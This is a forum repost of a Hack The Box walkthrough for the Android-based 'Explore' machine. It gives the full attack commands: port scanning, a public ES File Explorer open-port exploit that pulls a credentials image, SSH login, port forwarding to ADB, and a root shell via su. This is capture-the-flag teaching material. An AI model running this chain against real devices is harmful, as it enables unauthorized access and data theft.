• We just launched and are currently in beta. Join us as we build and grow the community.

Explore Hackthebox Walkthrough

GucciKidxD

Task Automation Guru
G Rep
0
0
0
Rep
0
G Vouches
0
0
0
Vouches
0
Posts
163
Likes
139
Bits
1 MONTH
1 1 MONTH OF SERVICE
LEVEL 1 400 XP
“Explore” is a Capture the Flag challenge that we’ll be solving today. (HTB) Hack the Box is where you can get your hands on one, this box is based on ADB (Android Debug Bridge). So, let’s get started and learn how to break it down successfully. So, let’s get started and learn how to split it down effectively.

Pentesting Methodology
  • Port Scanning & Enumeration
  • Exploitation
  • Privilege Escalation

Port Scanning & Enumeration

Nmap

Starting the full port scan

Code:
nmap -p- -sV 10.129.198.246

-p-: detect all ports

-sV: detect service version

AVvXsEhlXOSVcNFAaX64tKsKltt8glvxbQ91HexcxLWu5FC_yicPbJ1LNbuTiELMwYZemwhbATYK3YeNh2a7nsiZQ7H554HBzByQ0zpOIGPgA9azAB5CXEWsngs88dRz0W_m-lixc1lDxMb95e3n4KRA81f4_GeAJJQYSfXZNpBXJ6MMSmaEtL42dBw-qk-YDA=s16000


According to the nmap output, we get

  • on port 2222 SSH server running
  • on port 59777 HTTP service running
  • on port 5555 a TCP service running

While searching for port 59777 on the internet, we come up with the following GitHub as the first result

AVvXsEg-I2A-HSfi-4JbXrzEn8pWMMM-f3o7A6nQ1eJFrWJJXgIkPHTAtwO3ebykwSRihLtwkLBGTmHlFJVKUyqYH0Engl6UwQW4oVYzs6DlC__8OPAFhlXenuI60dsBrFqM6ZuVjAB7jQj3gVxDdwQnTA37KAYUGyxABkeT-gvL3bVOgUsAQp78BKJ3OyOqmQ=s16000


Exploitation

Copy the path from the GitHub URL to our Kali System so that we may get the file.

Code:
git clone https://github.com/fs0c131y/ESFileExplorerOpenPortVuln
cd ESFileExplorerOpenPortVuln
ls
python poc.py
python poc.py list

AVvXsEj16IaXaqyvPhbRAbkZcKW4LqE7ZxKm0vyn7EiWnXWmMCiKnejZutiuvP8BqKdzL3YrMwwyPrQUmsZBBmb65HenOHaD-sUewD_OTIt76U3TVTHPbb-Z3lh7oiBcPw5WqgoGNkpXDC3xSFLhYoWcS1mWVEzafJL3HfW99ab9N7DyEqI4TSTLBCRWb5Od3A=s16000


There is a python exploit script that we can use to see if anything can be found. We get the creds.jpg file, the name “creds” gives us an indication that it may include the credentials, which are the login id and password that may be used for SSH later on.

Code:
python poc.py --cmd listPics --ip 10.129.198.246
python poc.py -g /storage/emulated/0/DCIM/creds.jpg --ip 10.129.198.246

AVvXsEjXT03AWFh7ZTgdl68fPMIs9M_7EW2rjGxsB6tWvy1dI_cT5mRlI0hLKQ36MOvG0p7z7rAuXikemQdHNpoqAiPLAObJCTFx5yDPLKlIyBX1TGO0LbrAm35hJaHEXR2TN6yXdvJrglcKRUVsstV57Vju1pOwJvbuklsEDPUI-7HUxSAPO2JTm3e181HRpQ=s16000


Ahh, the file seemed to contain a username and password.

AVvXsEiCzhcNE1c6YA-TA_F-7u_iNc-5hzIMIrCYXYytS-FH_63d3KnKUbSos0B_W-5c1xKD4AN4cIh6CrYyuMHlR0hZuNbuDorhZm44I0ZO1x8XlQHuut0D-kjdWKSQ9LNWb34UvacyR0agQwy-lzY7FDQ4xS8vSkrig5MEtE9mkm7wSeyn0yFJmY6z_edgYQ=s16000


Code:
Username: Kristi
Password: Kr1sT!5h@Rp3xPl0r3!

Having remembered that an SSH port was open on 2222, I attempted to SSH into the machine using these credentials.

Code:
ssh [email protected] -p 2222

AVvXsEhazVbLwOpRyN55X_oOmjLBDPq6tqi3CJwWjmnvHJmP67mH1dgxZoeUjyOFrwdeSMD4Q8NqAw-A4htlf32vv0t77j5Gh5fVtyUf8zMNxP9FMVfPq20HeuinQ14uKTc4UOUt89xqTs3iVwlBMHyl--eFdxp5YYhV7nfZGoTkgDL7wmWw34Tcg8oKWxRJKg=s16000


Privilege Escalation

An ADB service is running on port 5555, and we have SSH access. Allow ADB to run on the device by configuring SSH port forwarding.

Code:
ssh [email protected] -p 2222 -L 5555:localhost:5555

AVvXsEhsYeDNai_E9Y-1Mxs-c3XM6RC9-iI1l-8eRF0pA78pcqHShkHgGQ_yI5zk-8zYItMysNdyhgTZsTaydPkgWJeiOWnmfRniKS4qfJkj9QAD6-bVrSvswEdSRABLlfgejHYmg9MzekhbRbjjw0xpSyFGAvQJr5kawGMkQFSdhcNaiccMd6f2FK8SqmFDtQ=s16000


After configuring port forwarding, I can run ADB commands, obtain a shell, elevate the shell to root, and search for the root.txt file.

Note: If you don’t have an ADB installed in your Kali Machine, use the command:

Code:
apt install adb

In order to connect with adb use the following command:

Code:
adb connect 127.0.0.1:5555

In order to get the shell, execute the command given below, as we have already established a connection.

Code:
adb -s 127.0.0.1 shell
whoami
su
ls
cd data
cat root.txt

AVvXsEhpxDPGB3S2MEG9UjkGjGqJNSdiMwW6BAObCkzTeb6uiUjfkBIxeIijAVyfMdpKabvVZeDigRZcORHOCCo1wUeeFeHePf016d_xFDnGE5VvC0CxyKhSET3WJz6PrGlGn1z5zWNGf39nLy5xSftWBxDzj4FgOQObnUVF3XxXqDFzpuCTLkP8WGIXm-kmuw=s16000


Author: Sakshi Gurao is a Researcher and Technical Writer at Hacking Articles, Red Teamer, Penetration Tester. Contact Linkedin
 

415,227

309,798

309,807

Top